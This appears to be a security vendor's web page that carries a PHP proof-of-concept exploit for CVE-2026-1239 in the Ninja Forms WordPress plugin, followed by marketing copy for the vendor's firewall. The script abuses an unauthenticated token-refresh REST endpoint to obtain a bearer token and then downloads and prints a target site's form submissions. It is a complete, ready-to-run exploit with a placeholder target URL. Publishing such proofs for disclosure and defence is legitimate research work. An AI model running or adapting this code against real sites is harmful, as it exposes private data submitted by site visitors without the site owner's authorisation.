// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1239 - Ninja Forms <= 3.14.1 - Missing Authorization to Unauthenticated Sensitive Information Disclosure via token/refresh REST Endpoint

$target_url = 'http://example.com'; // Change this to the target WordPress site URL
$form_id = 1; // Target form ID to extract submissions from

// Step 1: Request a token for the form submissions block
$token_endpoint = $target_url . '/wp-json/ninja-forms-views/token/refresh';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $token_endpoint);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode(['formID' => $form_id]));
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$token_response = curl_exec($ch);
curl_close($ch);

echo "Token response: " . $token_response . "nn";

$token_data = json_decode($token_response, true);
if (!isset($token_data['token'])) {
    die('Failed to obtain token. The site may be patched or the endpoint is not accessible.n');
}

$token = $token_data['token'];
echo "Obtained token: " . $token . "nn";

// Step 2: Use the token to fetch submissions
$submissions_endpoint = $target_url . '/wp-json/ninja-forms-views/submissions/' . $form_id;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $submissions_endpoint);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Authorization: Bearer ' . $token,
    'Content-Type: application/json'
]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$submissions_response = curl_exec($ch);
curl_close($ch);

echo "Submissions data:n" . $submissions_response . "n";

// Decode and pretty print the submissions
$submissions = json_decode($submissions_response, true);
if ($submissions) {
    echo "n=== Form Submissions Extracted ===n";
    print_r($submissions);
} else {
    echo "Failed to decode submissions response.n";
}
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.